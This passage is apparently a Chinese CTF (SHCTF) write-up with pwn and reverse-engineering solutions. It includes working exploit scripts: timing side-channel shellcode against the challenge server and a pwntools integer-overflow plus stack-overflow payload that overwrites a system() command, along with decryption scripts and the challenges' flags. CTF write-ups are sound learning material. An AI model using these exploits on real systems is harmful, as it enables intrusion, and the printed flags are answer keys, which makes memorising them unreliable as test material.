允许的系统调用只有 `exit`, 但是 flag 在沙箱启用前就已经被加载到内存中, 于是可以利用系统调用和程序行为的时间差异来侧信道攻击。shellcode 逻辑:

- 读取 flag[pos] 到寄存器
- 与猜测的字符比较
 - 如果匹配 → 调用 exit(), 进程立即结束
 - 如果不匹配 → 进入死循环

我发现如果短时间内发送大量连接时, 服务器会主动关闭连接来保护自己, 导致测速不准, 所以中间 fail 了好几回, 最后是勉强拼凑出来的…

```
1  #!/usr/bin/env python3
2  import socket
3  import time
4
5  def try_char(position, expected):
6      """测试指定位置的字符，返回响应时间"""
7      try:
8          sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
9          sock.settimeout(1.5)
10         sock.connect(('challenge.shc.tf', 31550))
11         sock.recv(1024)
12
13         shellcode = b""
14         shellcode += b"\x48\xbf" + (0x11451000).to_bytes(8, 'little')
15         if position > 0:
16             shellcode += b"\x48\x81\xc7" + position.to_bytes(4, 'little')
17         shellcode += b"\x8a\x07"
18         shellcode += b"\x3c" + bytes([expected])
19         shellcode += b"\x75\x07"
20         shellcode += b"\x48\xc7\xc0\x3c\x00\x00\x00"
21         shellcode += b"\x48\x31\xff"
22         shellcode += b"\x0f\x05"
23         shellcode += b"\xeb\xfe"
24
25         sock.send(shellcode + b"\n")
26
27         start = time.time()
28         try:
29             sock.recv(1024)
30         except:
31             pass
32         elapsed = time.time() - start
33         sock.close()
34         return elapsed
35     except Exception as e:
36         return 999
37
38  def main():
39      charset = "0123456789abcdef-}"
40      flag = "SHCTF{"
41
42      print(f"[*] Starting from position 6, known: {flag}")
43
44      for pos in range(6, 44):
45          time.sleep(1.5)
46          print(f"\n[*] Position {pos}:")
47
```

```
48     # 第一轮：遍历所有字符
49     results = {}
50     for c in charset:
51         t = try_char(pos, ord(c))
52         results[c] = t
53         status = "FAST" if t < 1.0 else ""
54         print(f"    {c}: {t:.2f}s {status}")
55         time.sleep(3) # 增加间隔到0.5秒避免限流
56
57     # 找出所有快速返回的字符
58     fast_chars = [c for c, t in results.items() if t < 1.0]
59
60     if len(fast_chars) == 1:
61         # 只有一个快速字符，就是答案
62         best_char = fast_chars[0]
63     elif len(fast_chars) > 1:
64         # 多个快速字符，重新测试这些字符2次取最稳定的
65         print(f"    [!] Multiple fast chars: {fast_chars}, retesting...")
66         retest = {}
67         for c in fast_chars:
68             times = []
69             for _ in range(2):
70                 t = try_char(pos, ord(c))
71                 times.append(t)
72                 time.sleep(1.6) # 重测间隔也增加
73             retest[c] = min(times)
74             print(f"    {c}: {times} -> min={retest[c]:.3f}")
75         # 选择重测中最快的
76         best_char = min(retest, key=retest.get)
77     else:
78         # 没有快速字符，选最小的
79         best_char = min(results, key=results.get)
80
81     flag += best_char
82     print(f"    [+] Best: '{best_char}' -> {flag}")
83
84     # 每个位置完成后暂停2秒，让服务器冷却
85     print("    [*] Cooling down 2s...")
86     time.sleep(2)
87
88     if best_char == '}':
89         print(f"\n[*] Complete flag: {flag}")
90         return flag
91
92     print(f"\n[*] Final flag: {flag}")
93     return flag
94
```

```
95  if __name__ == '__main__':
96      main()
```

SHCTF{67d87cac-9387-49ca-ae79-c521bfdd1b84}

4.5 int_overflow

先是读入的部分，存在整数溢出的问题（呼应标题），可以构造负数绕过检查。

代码块

```
1  char sum = 0;
2  for (int i = 0; i < 2; i++) {
3      scanf("%d", &input);
4      if (input > 9) return 0;
5      sum += input;
6  }
7  if (sum == 100) backdoor();
```

进入 `backdoor()` 函数后，存在栈溢出的问题，构造 payload `A*10 + cat flag` 即可。

代码块

```
1  void backdoor() {
2      char cmd[11] = "echo hello";
3      char buf[10];
4      read(0, buf, 20); // 这里存在溢出
5      system(cmd);
6  }
```

exp.py

```
1  #!/usr/bin/env python3
2  from pwn import *
3
4  # 配置
5  context.log_level = 'info'
6  context.arch = 'amd64'
7
8  # 连接目标
9  def exploit(target='remote'):
10     if target == 'remote':
11         p = remote('challenge.shc.tf', 31572)
12     else:
13         p = process('./130915_task')
```

```

14
15     # 接收banner
16     p.recvuntil(b'number')
17     log.info("Received banner")
18
19     # 漏洞1: 整数溢出
20     #  $-78 + (-78) = -156 \equiv 100 \pmod{256}$ 
21     # 绕过 sum == 100 的检查, 进入 backdoor()
22     p.sendline(b'-78')
23     p.recvuntil(b'number')
24     log.info("Sent first input: -78")
25
26     p.sendline(b'-78')
27     log.info("Sent second input: -78")
28
29     # 等待进入backdoor
30     p.recvuntil(b'name')
31     log.success("Entered backdoor!")
32
33     # 漏洞2: 栈缓冲区溢出
34     # buf 在 -0x1d, cmd("echo hello") 在 -0x13
35     # 相差  $0x1d - 0x13 = 10$  字节
36     # read(0, buf, 20) 可以溢出覆盖 cmd
37     padding = b'A' * 10
38     cmd = b'cat flag\x00'
39     payload = padding + cmd
40
41     log.info(f"Sending payload: {payload}")
42     p.sendline(payload)
43
44     # 接收flag
45     result = p.recvall(timeout=2)
46     log.success(f"Result: {result.decode()}")
47
48     return p
49
50 if __name__ == '__main__':
51     import sys
52     target = sys.argv[1] if len(sys.argv) > 1 else 'remote'
53     exploit(target)

```

```
SHCTF{69195ce7-be89-4a38-86af-fb797c159310}
```

4.6 Earth_Online

4.7 baby_canary

4.8 fmt_blind

4.9 hello rust

4.10 Large Manager

4.11 execve?orw?_revenge

5. Reverse

5.1 Safe Image Encryption

不会做。

5.2 a_cup_of_tea

经典 TEA 加密。先输入 16 字符的密码，将其转成 4 个 uint32（小端序），然后使用 TEA 算法加密（32 轮，`delta = 0x9e3779b9`），并与预设密文比较。关键的数据有：

- 密钥：`welcome_to_SHCTF`
- 密文：`0x9ab5d2e1, 0xbd37c059, 0xa5a607ad, 0x946eb834`

```
exp.py
1  #!/usr/bin/env python3
2  # TEA Decrypt for SHCTF 2025
3
4  import struct
5
6  def tea_decrypt(v, k):
7      """TEA解密一对uint32"""
8      v0, v1 = v[0], v[1]
9      delta = 0x9e3779b9
10     sum_val = (delta * 32) & 0xffffffff
11
12     for _ in range(32):
13         v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum_val) ^ ((v0 >> 5) + k[3])
14         v1 &= 0xffffffff
15         v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum_val) ^ ((v1 >> 5) + k[1])
16         v0 &= 0xffffffff
```

```

17         sum_val -= delta
18         sum_val &= 0xffffffff
19
20     return [v0, v1]
21
22     # 密钥: "welcome_to_SHCTF" 转为4个uint32 (little-endian)
23     key_str = b"welcome_to_SHCTF"
24     key = list(struct.unpack('<4I', key_str))
25     print(f"Key: {[hex(k) for k in key]}")
26
27     # 密文 (从二进制提取)
28     ciphertext = [0x9ab5d2e1, 0xbd37c059, 0xa5a607ad, 0x946eb834]
29     print(f"Ciphertext: {[hex(c) for c in ciphertext]}")
30
31     # 解密: TEA每次处理2个uint32
32     plain = []
33     plain.extend(tea_decrypt([ciphertext[0], ciphertext[1]], key))
34     plain.extend(tea_decrypt([ciphertext[2], ciphertext[3]], key))
35
36     print(f"Plaintext uint32: {[hex(p) for p in plain]}")
37
38     # 转回字符串 (little-endian)
39     password = struct.pack('<4I', *plain)
40     print(f"Password: {password.decode('latin-1')}")
41     print(f"Flag: SHCTF{{{password.decode('latin-1')}}}")

```

SHCTF{W0w_u_kN0w_t3A!!}

5.3 damagedPE

未解出，但至少把 PE 头修复了。

5.4 where are you

32 位 Windows PE。使用 `strings` 提取字符串，里面有几个特别的：

strings where_are_you.exe

```

1  MyS3cr3tS33d
2  VirtualProtect Failed! Error: %d
3  Where are you? Where are you! I'll find you!
4  Please input the flag:
5  dcigYjcjc

```

其中 `MyS3cr3tS33d` 看起来像是一个密钥，`dcigYjcjc` 可能是加密数据的一部分。使用 `objdump` 反汇编程序，定位到 `0x401fe0` 处的验证函数。这个函数的逻辑很简单：

1. 检查输入长度是否为 `0x18` (24) 字节
2. 将输入的每个字节与 `0x22` 进行 XOR
3. 与 `0x4031f8` 处的数据进行比较

根据这个逻辑，可以直接解密出 `FAKE{HAHA!!I'm not here}`。这显然是一个假 flag，符合题目"害羞的函数"的提示——真正的 flag 藏在别处。继续分析，在 `0x402210` 处发现了一个特殊的函数。通过搜索对 `MyS3cr3tS33d` (地址 `0x403130`) 的引用找到了它。这个函数的行为非常有趣：

1. 从 `MyS3cr3tS33d` 派生出 16 字节密钥：`key[i] = (seed[i % 12] XOR 0xAA) + i`
2. 调用 `VirtualProtect` 修改 `0x402090` 处代码的内存保护属性
3. 对 `0x402090` 处的 `0x175` 字节代码进行 XOR `0xC2` 解密
4. 对 `0x404090` 处的数据进行 XOR `0xC2` 解密
5. 将 `0x401fe0` 函数的开头修改为 `jmp 0x402090`，使程序跳转到解密后的代码

这个函数从未被 main 函数显式调用，但它会在程序启动时自动执行——这正是 **TLS Callback** 的特征 (TLS Callback 是 Windows PE 文件中的一种机制，会在程序入口点执行之前被调用，常用于反调试或代码自解密，因此被称为"害羞的函数")。

提取 `0x402090` 处的加密代码并用 XOR `0xC2` 解密：

代码块

```
1 file_offset_2090 = 0x1490 # 计算出的文件偏移
2 encrypted_code = data[file_offset_2090:file_offset_2090 + 0x175]
3 decrypted_code = bytes([b ^ 0xC2 for b in encrypted_code])
```

同时解密 `0x404090` 处的数据，得到提示字符串：`Try to find the real me!!` 对解密后的代码进行反汇编，发现它包含两条验证路径：

路径一（假 flag）： 输入长度为 `0x18` (24) 字节时

- 对输入进行 XOR `0x22`
- 与 `0x4031f8` 处的数据比较
- 匹配则显示 "Try to find the real me!!"

路径二（真 flag）： 输入长度为 `0x24` (36) 字节时

- 使用派生的 16 字节密钥对输入进行 RC4 加密
- 将加密结果与 `0x4031d4` 处的 36 字节数据比较

```

1 # 从 MyS3cr3tS33d 派生密钥
2 seed = b"MyS3cr3tS33d"
3 key = []
4 for i in range(16):
5     k = (seed[i % 12] ^ 0xAA) + (i * 7)
6     key.append(k & 0xFF)
7
8 # 提取 0x4031d4 处的加密数据 (36 字节)
9 encrypted_flag = bytes([
10     0xea, 0x64, 0x65, 0x15, 0xff, 0x0a, 0xad, 0x41,
11     0x6f, 0x81, 0xa1, 0x7b, 0xa8, 0xd0, 0x5e, 0x69,
12     0x74, 0x92, 0x6a, 0xe3, 0xbd, 0x6b, 0x33, 0x97,
13     0x2d, 0xc2, 0xb5, 0xfa, 0xd0, 0x8f, 0x6d, 0x3f,
14     0xad, 0x00, 0xd0, 0x91
15 ])
16
17 # RC4 解密
18 def rc4_decrypt(key, ciphertext):
19     # KSA
20     S = list(range(256))
21     j = 0
22     for i in range(256):
23         j = (j + S[i] + key[i % len(key)]) & 0xFF
24         S[i], S[j] = S[j], S[i]
25
26     # PRGA
27     i = j = 0
28     result = []
29     for byte in ciphertext:
30         i = (i + 1) & 0xFF
31         j = (j + S[i]) & 0xFF
32         S[i], S[j] = S[j], S[i]
33         result.append(byte ^ S[(S[i] + S[j]) & 0xFF])
34
35     return bytes(result)
36
37 flag = rc4_decrypt(key, encrypted_flag)
38 print(flag)

```

SHCTF{you_found_me_and_TLS_callback}

5.5 LicenseVerifier

没看。

5.6 UEFI-OVMF

没看。

5.7 整数面

没看。

5.8 PackedLegacy

没看。

5.9 Ring0 VM Labyrinth

没看。

5.10 strange_chain

不会，尝试过了 0 进展。

5.11 trace

这是一个程序运行的完整执行追踪（类似 strace），体力活让 AI 去还原就行了。

- $\text{delta} = 0x9E3779B9$ — 这是经典的 TEA (Tiny Encryption Algorithm) 常量
- 32 轮加密循环
- 但使用了修改过的移位量 ($\ll 2$ 和 $\gg 4$ ，而非标准 TEA 的 $\ll 4$ 和 $\gg 5$)，密钥顺序也不同

还原 exec 函数表：

- $\text{exec}(0, a, b)$ = 加法 (ADD)
- $\text{exec}(1, a, b)$ = 异或 (XOR)
- $\text{exec}(2, a, b)$ = 左移 (SHL)
- $\text{exec}(3, a, b)$ = 右移 (SHR)
- $\text{exec}(4, a, b)$ = 乘法 (MUL)

还原加密逻辑：

代码块

```
1  sum += delta
2  v0 += ((v1<<2) + k[3]) ^ (v1+sum) ^ ((v1>>4) + k[1])
3  v1 += ((v0<<2) + k[2]) ^ (v0+sum) ^ ((v0>>4) + k[0])
```

exp.py

```
1  import struct
2
```

```

3  MASK = 0xFFFFFFFF
4
5  def add(a, b):
6      return (a + b) & MASK
7
8  def sub(a, b):
9      return (a - b) & MASK
10
11 def xor(a, b):
12     return a ^ b
13
14 def mul(a, b):
15     return (a * b) & MASK
16
17 # Compute keys
18 seed1 = 0x12345678
19 seed2 = 0xDEADBEEF
20
21 key = [0] * 4
22 key[0] = mul(seed1 & 0xFFFF, 0x1337) # exec(4, seed1 & 0xFFFF, 0x1337)
23 key[1] = add(seed2, 0xAAAA)          # exec(0, seed2, 0xAAAA)
24 key[2] = xor(key[0], key[1])         # exec(1, key[0], key[1])
25 key[3] = add(mul(key[2], 2), 1)      # exec(0, exec(4, key[2], 2), 1)
26
27 print(f"key[0] = 0x{key[0]:08x}")
28 print(f"key[1] = 0x{key[1]:08x}")
29 print(f"key[2] = 0x{key[2]:08x}")
30 print(f"key[3] = 0x{key[3]:08x}")
31
32 # Modified TEA decrypt
33 # Encrypt was:
34 #     sum += delta
35 #     v0 += ((v1 << 2) + k[3]) ^ (v1 + sum) ^ ((v1 >> 4) + k[1])
36 #     v1 += ((v0 << 2) + k[2]) ^ (v0 + sum) ^ ((v0 >> 4) + k[0])
37 delta = 0x9E3779B9
38
39 def decrypt(v0, v1, k):
40     s = (delta * 32) & MASK
41     for _ in range(32):
42         v1 = sub(v1, xor(xor(add((v0 << 2) & MASK, k[2]), add(v0, s)), add(v0
43 >> 4, k[0])))
44         v0 = sub(v0, xor(xor(add((v1 << 2) & MASK, k[3]), add(v1, s)), add(v1
45 >> 4, k[1])))
46         s = sub(s, delta)
47     return v0, v1
48
49 # Target ciphertext

```

```

48 target = bytes([0x4a, 0xd4, 0x4f, 0x82, 0x37, 0xe8, 0x6d, 0xf9,
49                 0x55, 0x6e, 0xc5, 0x22, 0x36, 0xb1, 0x38, 0x5b,
50                 0xc1, 0x8f, 0x27, 0x6a, 0xff, 0x65, 0x85, 0x42,
51                 0x24, 0xbf, 0x63, 0xde, 0x33, 0xb8, 0x4d, 0x8e,
52                 0xbc, 0xae, 0xb3, 0x5b, 0x7e, 0x9c, 0x76, 0x11])
53
54 # Convert to uint32_t array (little-endian)
55 data = []
56 for i in range(0, len(target), 4):
57     val = struct.unpack('<I', target[i:i+4])[0]
58     data.append(val)
59
60 print(f"\nCiphertext blocks: {[hex(d) for d in data]}")
61
62 # Decrypt each pair
63 result = b''
64 for i in range(0, len(data), 2):
65     v0, v1 = decrypt(data[i], data[i+1], key)
66     result += struct.pack('<I', v0) + struct.pack('<I', v1)
67
68 # Remove null padding
69 result = result.rstrip(b'\x00')
70 print(f"\nDecrypted flag: {result}")
71 print(f"Decoded: {result.decode('ascii', errors='replace')}")

```

```
SHCTF{all_you_need_is_deobfuscation}
```